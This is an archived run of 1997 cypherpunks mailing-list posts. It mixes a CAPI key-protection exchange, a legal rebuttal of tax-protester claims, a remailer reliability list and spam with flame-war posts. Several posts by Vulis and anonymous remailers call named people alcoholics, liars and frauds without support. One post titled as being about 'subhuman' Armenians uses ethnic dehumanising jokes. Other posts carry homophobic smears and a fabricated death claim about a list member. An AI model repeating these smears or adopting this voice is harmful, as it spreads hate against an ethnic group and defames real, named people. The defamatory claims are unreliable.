From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 07:23:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.SUN.3.91.970308231018.27226E-100000@panix.com>
Message-ID: <22ya4D166w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Alcoholic liar Charles Platt <cp@panix.com> writes:

>
> Incidentally, the same text was circulated to Lynwood Bell of Hansa Bank,
> who made detailed corrections of some of my statements about his
> institution, but where the Minister of Finance was concerned, made only a
> wry, amused comment.

As someone pointed out, Charles Platt met Lynwood Bell at a cocktail party
with free drinks.  Charles Platt, an alcoholic, was drunk like a skunk when
he "interviewed" Lynwood. Afterwards Charles Made up long quotes from
Lynwood. Actually, all Lynwood said was: "Get away from me, you pig."

The Minister did not find it worthwhile to communicate any further with
the notorious liar and self-styled yellow jounalist - Charles Platt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 9 Mar 1997 08:26:42 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <22ya4D166w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970309092345.23720B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



> 
> The Minister did not find it worthwhile to communicate any further with
> the notorious liar and self-styled yellow jounalist - Charles Platt.


Vulis you are the notorious liar.

> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Sun, 9 Mar 1997 10:48:37 -0800 (PST)
To: anand@querisoft.com
Subject: Re: SecureFile
In-Reply-To: <33203B5E.28D8E637@veriweb.com>
Message-ID: <33228FE6.38DED08@veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Anand Abhyankar wrote:
> 
> SecureFile is not using the Win 95 password for encrypting the files.
> Win 95 or Win NT never hands over the password to any application.

Good.

> 
> CAPI 2.0 is so nicely integrated with the OS that unless you have logged
> in you wont get access to you keys. Now SecureFile is CAPI 2.0 based
> application, so to use SecureFile you have to log in. Once this is done
> the crypto operations (encryption/signing) etc are performed using your
> keys.
> 
> The advantage you gain is that, a separate SecureFile logon is not
> required and nobody but you will be able to access your keys as they are
> protected by the OS.

Out of curiosity, do you know how the keys are protected by windoze
itself?
I have the CAPI cd but have had all of 5 minutes to look at it.  I would 
presume they're hashing your password into a key and then encrypting
with 
it, or encrypting another key with it. Any idea?

What is somewhat bothersome (and this would go for anything using CAPI
in the way your product does) is the reliance upon the windoze password.
If that were compromised, it seems all other CAPI integrated keys would
also be compromised. Let's hope they choose good passwords, and know not
to re-use the same one on the net somewhere. :-)
(BTW, does windoze allow arbitrary length passwords or phrases, or does
it
have a short limit?)

Jeremey.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                  http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMyKP5y/fy+vkqMxNAQHayQQAlQ1URquOTf0LNqX4Gsw340KRNsz+e4hk
hJDaw61vNzWV7oCQtZeTYrpWYnf9nuZ0r3qaTGHE8b+s3whAEz7iXtS/DzNXz3dQ
0fce/EW9oMHjZa9xiilPb4FMbRMJJFShJ2WUSP/ZuMkaKXVftu5UG5I/FHxhpt+g
A4sqBEOangQ=
=PLfS
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 9 Mar 1997 10:51:53 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <oc5a4D169w165w@bwalk.dm.com>
Message-ID: <332306B7.1511@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
> > Vulis you are the pathological liar.

This Graham-John character may just be one of the best autobots
yet.  I've examined "his" messages, which show even less emotional
content than on-the-scene responses by Sirhan Sirhan or John Hinckley.
Obviously not hand-typed by a human.

> Charles Platt, the alcoholic yellow journalist, is a pathological liar.
> Just look in sci.cryonics for the testimonies from dozens of people
> (former business partners and clients) cheated from thousands of
> dollars by Charles Platt's failed "frozen corpses" business.
> Charles Platt almost got arrested recently when he showed up drunk
> at a public meeting and began shouting obscenities at people.
> Please take any additional comments to alt.2600.moderated.

Platt sounds like the ideal candidate to start another disinformation
periodical.  Any guesses as to who his backers will be?

P.S. Thanx for the L.L. interviews.  I hope to build these into
another good text database.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 08:30:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.A41.3.95.970309090541.83832D-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <oc5a4D169w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> >
> > This just proves again that Charles Platt is a pathological liar.
>
>
> Vulis you are the pathological liar.

Charles Platt, the alcoholic yellow journalist, is a pathological liar.

Just look in sci.cryonics for the testimonies from dozens of people
(former business partners and clients) cheated from thousands of
dollars by Charles Platt's failed "frozen corpses" business.

Charles Platt almost got arrested recently when he showed up drunk
at a public meeting and began shouting obscenities at people.

Please take any additional comments to alt.2600.moderated.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Sat, 8 Mar 1997 22:49:43 -0800 (PST)
To: Jeremey Barrett <jeremey@veriweb.com>
Subject: Re: SecureFile
In-Reply-To: <33203B5E.28D8E637@veriweb.com>
Message-ID: <33231935.6969@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremey Barrett wrote:
> Umm... reading your faq... (http://www.querisoft.com/SFFAQ.html) you
> state that you use the windows95 user password as the password for

> encrypting files. You also seem to imply that you don't actually
> _ask_ for the password, windows gives it to you (albeit hashed
> or something already, I imagine). If that is the case, that is extremely
> worrisome. In fact it's outrageous.

 
> That would imply that any _other_ application, benign or evil, could
> also
> access the same password and immediately decrypt files.
> 
> Is that so? (Not coding much on windows, I don't know if applications
> can access the user's hashed or encrypted password, but I would guess
> they could.)

SecureFile is not using the Win 95 password for encrypting the files.
Win 95 or Win NT never hands over the password to any application.

CAPI 2.0 is so nicely integrated with the OS that unless you have logged
in you wont get access to you keys. Now SecureFile is CAPI 2.0 based
application, so to use SecureFile you have to log in. Once this is done
the crypto operations (encryption/signing) etc are performed using your
keys.

The advantage you gain is that, a separate SecureFile logon is not
required and nobody but you will be able to access your keys as they are
protected by the OS.

The SecureFile setup ensures that on Win 95 you have actually logged in
and that you are working in the "Multiple Profiles" mode.

Thank you for your interest in SecureFile. Please feel free to ask any
questions you may have.

Anand Abhyankar
SecureFile Team
Querisoft Systems Pvt. Ltd.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 9 Mar 1997 11:52:24 -0800 (PST)
To: Vincent Cate <cypherpunks@toad.com
Subject: Re: Tim in Anguilla vs. USA
In-Reply-To: <Pine.LNX.3.95.970308082349.28404A-100000@online.offshore.com.ai>
Message-ID: <3.0.1.32.19970309145432.028fc5cc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:42 PM 3/8/97 -0400, Vincent Cate wrote:
>
>If Tim were a French citizen in the USA, and ranting about crypto-anarchy
>and destabilizing governments on street corners (or communism or
>something), he *might not* get his visa/work-permit renewed in the USA.
>Tim is very safe in the USA partly because he does not have to get a visa
>renewed.

Were Tim a French citizen in the US who had worked for Intel and gotten a passel of stock, or founded Borland like French illegal alien Phillippe Kahn, he could say whatever he wanted without problems.  He would only run into such problems if he was Palestinian.

DCF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 16:00:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Russophobia
In-Reply-To: <01bc2cb9$f32cc260$f28c01c2@seaford.cherry.napri.sk>
Message-ID: <R8NB4D175w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I saw a Usenet article that some Cypherpunks might like:

"Seaford Int." <seaford@napri.sk> writes:

> BE AFRAID OF NEW RUSSIAN ECONOMY BANDITS!!!
> THEY ARE SLUT DANGER PEOPLE.
> VOTE, NO MORE ENTRY FOR RUSSIANS TO CIVILIZATED COUNTRIES.
> THEY ARE FUCKING, STUPID BUT VERY RICH IDIOTS WITHOUT MIND!!!
>
> WARNING!!!WARNING!!!WARNING!!!!
>
> WHO WANTS TO MAKE CONTRACTS WITH THESE KILLERS!!!!
> ALL OF THEM WERE COMMUNISTS, NOW PSEUDOCAPITALISTS, BUT STILL KILLERS!!!
>
>

And now for something crypto-relevant:

I want to set up an easy-to-use, not necessarily very secure, anon server
at dm.com. Can someone please send me some source code (or pointer thereto).
(I mean, a system similar to what Julf used to have on anon.penet.fi, not
mixmaster, etc - I know where these are.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com
Date: Sun, 9 Mar 1997 16:00:24 -0800 (PST)
Subject: No Subject
Message-ID: <9703092356.AA01951@uu.psi.com>
MIME-Version: 1.0
Content-Type: text/plain


	for cypherpunks@toad.com
To: cypherpunks@toad.com
Cc: jack@earthweb.com, murray@earthweb.com, nova@earthweb.com
Subject: Something is genetically wrong with subhuman dandruff-covered Armenians...
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-ID: <RPoB4D176w165w@bwalk.dm.com>
Date: Sun, 09 Mar 97 18:35:26 EST
In-Reply-To: <Pine.SUN.3.91.970306184243.12798K@beast.brainlink.com>
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.

Ray Arachelian <sunder@brainlink.com> writes:

> On Wed, 5 Mar 1997, Vebis wrote:
>
> > Hmmmm, Tastes like chicken!
>
> Uh huh, huh Vebis, that was like kwel!  Heh heh, heh heh!  Do it again!
>
> So like Vebis, how did it feel to score with a male german sheppard?  I
> bet you swallowed, huh huh, huh, 'cause you said "Tastes like chicken!"
> heh heh, heh heh, heh heh...

Why does Ray Arachelian wear jeans with cuffs?

To catch the falling dandruff.


Did you hear that after Earthweb, LLP, sacked Ray Arachelian for
spamming the 'net, he got another job at a ski resort?

His only duty is to walk along the ski trails and shed dandruff.



The 10 greatest inventions attributed to Armenians:

The solar-powered flashlight.

The pencil with erasers on both ends.

The vodka bottle with a magnifying bottom for watching television.

The parachute that opens on impact.

The artificial dandruff for wig wearers.

The waterproof tea bag.

The reusable non-stick toilet paper.

Traffic light with a candle inside.

The padlock key escrow.

Wheelchair with pedals.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 9 Mar 1997 18:09:37 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: [IMPORTANT] Diffie-Hellman
In-Reply-To: <199703092322.AAA00842@basement.replay.com>
Message-ID: <Pine.A41.3.95.970309190614.68938A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vulis what has this to do with cypherpunks




On Mon, 10 Mar 1997, Anonymous wrote:

> Timmy May's obsessive masturbation has lead to advanced degree of blindness and 
> hairy palms.
> 
>          /_/\/\
>          \_\  / Timmy May
>          /_/  \
>          \_\/\ \
>             \_\/
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 9 Mar 1997 18:13:28 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: Something is genetically wrong with subhuman dandruff-covered Armenians...
In-Reply-To: <9703092356.AA01951@uu.psi.com>
Message-ID: <Pine.A41.3.95.970309190935.68938B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain





Vulis what has this to do with cypherpunks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: caseym@genesisnetwork.net (casey moss)
Date: Sun, 9 Mar 1997 21:27:40 -0800 (PST)
To: caseym@genesisnetwork.net
Subject: TOLL FREE Internet access
Message-ID: <3.0.1.32.19970309211026.006771f8@webb.genesisnetwork.net>
MIME-Version: 1.0
Content-Type: text/plain


Please stop in and visit our website at ...

http://www.genesisnetwork.net

GENESIS Network has sucessfully signed up over 10,000 internet coustomers
on the internet, see what we can do for you.

Thanks for your time ! 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 9 Mar 1997 20:34:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703100434.XAA19345@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Derisve Vitriol K[reep]OfTheMoment died of AIDS last night
with his faggot lover.

           __o
         _ \<_  Dr.Derisve Vitriol K[reep]OfTheMoment
        (_)/(_)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 21:10:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Something is genetically wrong with subhuman dandruff-covered Armenians...
In-Reply-To: <Pine.A41.3.95.970309190935.68938B-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <g03B4D188w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> Vulis what has this to do with cypherpunks

What has Arsen "Ray" Arachelian to do with cypherpunks?

Nothing, because he doesn't know anything about cryptography.

Graham-John, when I spoke to you on the phone, you sounded like
a reasonable guy.  Right now you're behaving like a total twit.
People are probably killfiling you by the  dozen. It's just too
bad, because I know from alt.2600 that you're capable of saying
something interesting sometimes.  Please stop being an asshole.

              ___           _,.---,---.,_
              |         ,;~'             '~;,
              |       ,;                     ;,
     Frontal  |      ;                         ; ,--- Supraorbital Foramen
      Bone    |     ,'                         /'
              |    ,;                        /' ;,
              |    ; ;      .           . <-'  ; |
              |__  | ;   ______       ______   ;<----- Coronal Suture
             ___   |  '/~"     ~" . "~     "~\'  |
             |     |  ~  ,-~~~^~, | ,~^~~~-,  ~  |
   Maxilla,  |      |   |        }:{        | <------ Orbit
  Nasal and  |      |   l       / | \       !   |
  Zygomatic  |      .~  (__,.--" .^. "--.,__)  ~.
    Bones    |      |    ----;' / | \ `;-<--------- Infraorbital Foramen
             |__     \__.       \/^\/       .__/
                ___   V| \                 / |V <--- Mastoid Process
                |      | |T~\___!___!___/~T| |
                |      | |`IIII_I_I_I_IIII'| |
       Mandible |      |  \,III I I I III,/  |
                |       \   `~~~~~~~~~~'    /
                |         \   .       . <-x---- Mental Foramen
                |__         \.    ^    ./
                              ^~~~^~~~^       -dcau (4/15/95)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 9 Mar 1997 15:23:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IMPORTANT] Diffie-Hellman
Message-ID: <199703092322.AAA00842@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's obsessive masturbation has lead to advanced degree of blindness and 
hairy palms.

         /_/\/\
         \_\  / Timmy May
         /_/  \
         \_\/\ \
            \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 10 Mar 1997 01:27:45 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Why Income Tax is Unconstitutional (fwd)
In-Reply-To: <199703091630.KAA18500@einstein.ssz.com>
Message-ID: <3.0.1.32.19970310013426.006d6284@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:21 PM 3/9/97 -0500, Mark M. wrote:
>http://www.iac.net/~solution/notax/ actually says that the tax law excludes
>U.S. citizens who do not live in Washington D.C. or are not federal
employees.

Yes, the web page says that, but it is incorrect. 

>I'm not about to read all 7,000 pages of the tax code to see if they are
>correct, but the definitions section of the code do indicate that their
>interpretation is correct.

It's not even necessary to look at the tax code (which is not 7,000 pages
long, although it is complex) to see that their argument is wrong.

Their argument is that 26 USC 7701(a)(9) defines "United States" to mean
"States" and "the District of Columbia", and that 26 USC 7701(a)(10)
defines "States" as "District of Columbia". Leaving aside their (incorrect)
interpretation of "includes" as "is", their interpretation of 7701(a)(10)
suggests that 7701(a)(9) really says "United States" means "District of
Columbia and District of Columbia" which makes no sense at all. "States"
cannot mean "District of Columbia" if, in the same subsection, another
definition uses the phrase "the States and the District of Columbia".
Clearly Congress did not intend "States" to mean "District of Columbia".

(The web page points out this flaw in their construction of the statute but
apparently fails to understand that it's fatal to their interpretation.
Bzzt.) 

Their other arguments are similarly absurd. Their interpretation of the
Supreme Court case they cite is ridiculous. The decision is on the web at
<http://www.findlaw.com/scripts/getcase.pl?court=US&vol=324&invol=652>,
(paper cite is 324 US 652); given the discrepancy between their version and
the actual text I can see why they haven't bothered to provide a cite.  

The real heart of their screwed-up-ness is that they interpret "includes"
to mean "is", so that they think "employee includes government employees"
reads "employee is government employees" and "states includes the District
of Columbia" reads "states is the District of Columbia". That
interpretation is wrong, and all of their arguments that rest upon it are
fatally flawed. For example, according to Black's Law Dictionary (which
isn't the law anywhere, but isn't an awful place to look for the definition
of a word, other resources being unavailable), says that "include" .. "may,
according to context, express an enlargement and have the meaning of *and*
or *in addition to*, or merely specify a particular thing already included
within general words theretofore used. 'Including' within statute is
interpreted as a word of enlargement or of illustrative application as well
as a word of limitation. Premier Products Co. v. Cameron, 240 Or 123, 400
P2d 227, 228." (emphasized words were italicized in original)

>I suppose using this information as a defense
>might work, but one would probably have to sue the IRS to get all forfeited
>property returned for failure to pay income tax.

>From time to time tax protestors and people with weird interpretations of
the tax code manage to convince juries that they believed that their
failure to pay tax was lawful, and hence they didn't have the required
criminal intent to be guilty of criminal evasion/failure to file. But more
frequently, juries (who pay income tax, too) aren't especially sympathetic
to that story and send the goofballs to jail. (Misinterpretation of the tax
code might - might - keep you out of jail. But it won't get your house
back, or put the $ back in your bank account.) 

The people who publish this crap ought to be ashamed of themselves. As it
happens, they usually don't follow their own advice, *go ahead and pay
their taxes*, and get rich while their gullible customers get themselves in
a lot of trouble. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: adnet@jobops.com
Date: Mon, 10 Mar 1997 03:46:27 -0800 (PST)
To: adnet@jobops.com
Subject: The secrets to finding ANY JOB on the internet.
Message-ID: <199703101117.DAA08336@mail2.deltanet.com>
MIME-Version: 1.0
Content-Type: text/plain


DO YOU KNOW HOW TO FIND A JOB USING THE INTERNET? 
- If you have been looking for a job, career change or upgrade
find out how internet resources can lead to fifteen interviews
a week or more! Get the job and salary you deserve.

===> Did you know that you can search dozens of newspaper classifieds
     online, and with keywords access the jobs you want 100 times
     faster than if you bought the local newspaper ?

===> Do you know how to effectively use e-mail and fax software to get
     your credentials and resume noticed immediately?

===> Do you know how to use search engines on the internet to find
     hidden job opportunities most people don't know how to look for?

===> Did you know the secrets recruiters use to find jobs for you, 
     and how you can use them to benefit yourself?

===> Did you know that although there are literally thousands of job 
     websites, only a scant few dozen actually produce results? Would 
     you like to know which ones they are?


Whether you are a PhD. in Mechanical Engineering or an Administrative
Assistant with a high school degree, I can show you proven methods
that will generate as many as fifteen interviews a week. My job
hunting manual aptly named "GETTING EMPLOYED IN THE INFORMATION AGE"
will guide you through all the proper steps to take to really push
your career into high gear.

Many of the techniques and search skills taught in my manual will work
for anyone. From phone clerk all the way up to programming
consultants, this guide will help you find and maintain your
livelihood. 

Also included in this guide:

>>>  25 tips on how to look, act, and dress success.

>>>  Learn what to say and what not to say during a job interview.

>>>  Learn job hunting strategies that pay off almost immediately.

>>>  Create quality resumes that get noticed !!!
   ( Sample resumes and techniques are provided in great detail. )

>>>  Red flags that let you know an interview is bogus before you 
   waste time going there.

I give you the consumer my personal guarantee that what I have written
will help you (if you use it)immeasurably in landing a job. I offer my
text at a very fair and equitable price of $6.95. Don't be fooled by
the low price. Many internet advertisers charge unfair prices for
their merchandise and then take forever to mail it to you. My guide
comes to you as an attached e-mail document in two different file
formats so it will probably reach you three to four days after you
have placed an order.

-------------------------HOW TO ORDER--------------------------------
If you are interested in purchasing my text, GETTING EMPLOYED IN THE
INFORMATION AGE, simply send a check or money order for $6.95 payable
to Leon McCreary at the following address: 

Leon McCreary 
5595 E. 7th. Street #360
Long Beach, CA 90804 

(Make sure to include your current e-mail return address)
---------------------------------------------------------------------

I will then e-mail you a copy of it in both a downloadable 
text format or in Microsoft Word 2.0 which should be upwardly  
compatible with whatever later version text editor you may have.
Because there is no cost for shipping, I can keep the cost per copy to
you very low. 


Sincerely and respectfully yours, 


Leon McCreary
-If you wish to respond to this e-mail please do so to the P.O. Box
listed above. There is no reply address available at this time due to
possible ISP Server overload. 



P.S. I truly believe in the mass e-mail or bulk e-mail concept. Many
people frown upon it. However, it is my belief that if the industry
can become more reputable through better products and faster customer
service, it may become more accepted. Mass e-mail is free to send, and
it enables people like me to advertise until such time as we have the
money to advertise through other media.

We all have dreams. I am reaching for my own as I am sure you are
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can be. If I can help you achieve your dreams and goals in the
process, please allow me to do so. Buy my employment guide not because
I am a slick advertiser, but because I know this works. I am anxious
to share this knowledge with you. Good luck !




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Sun, 9 Mar 1997 12:22:45 -0800 (PST)
To: jya@pipeline.com>
Subject: Re: Wassenaar Arrangement
Message-ID: <199703092021.FAA11440@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


Now I uploaded a short short memo of CATEGORY 5 PATR 2 of
the Wassenaar Arrangement.

  http://www.barrier-free.co.jp/a2z/c/
    CRYPTON/box1997/19970310-1-wassenaar-cat5.2.html

If someone know (have) full text, please tell me.

# To: Mr. John Young:
# If your are OK, please add this to your crypto-concerned
# lib. and redistribute on your web page.  Thanks.

///hayashi

P.S.
Sorry for my delay job.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 10 Mar 1997 06:50:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199703101450.GAA26718@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 10 Mar 97 6:47:16 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
balls    remailer@huge.cajones.com        ###-########    38:00  99.99%
hidden   remailer@hidden.net              ++.-*###+###    40:11  99.98%
nym      config@nym.alias.net             *+-+++*+*-+-    32:49  99.98%
cyber    alias@alias.cyberpass.net        + **+ *****+    37:51  99.79%
extropia remail@miron.vip.best.com        __.--.--.--  15:21:15  99.64%
middle   middleman@jpunix.com             *------ ---+  1:48:16  99.48%
dustbin  dustman@athensnet.com            ._.  ++.- -+  2:26:36  98.79%
lucifer  lucifer@dhp.com                    +++ + +++     42:46  98.55%
reno     middleman@cyberpass.net           -. -*..*  +    28:08  98.51%
shaman   remailer@lycaeum.org             +++ ++- ++**    28:02  98.13%
winsock  winsock@rigel.cyberpass.net      ----..--- .-  9:03:43  98.12%
haystack haystack@holy.cow.net            + ##. # ###     26:59  95.11%
replay   remailer@replay.com              *+***+++**-     18:09  91.09%
exon     remailer@remailer.nl.com         ++#*  #  # -  1:19:18  88.93%
mix      mixmaster@remail.obscura.com      _ _ .       78:03:04  88.85%
jam      remailer@cypherpunks.ca           +* -***** -  1:28:27  86.65%
weasel   config@weasel.owl.de             ++-+++++++    1:26:26  84.74%
squirrel mix@squirrel.owl.de                              59:37  -6.60%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
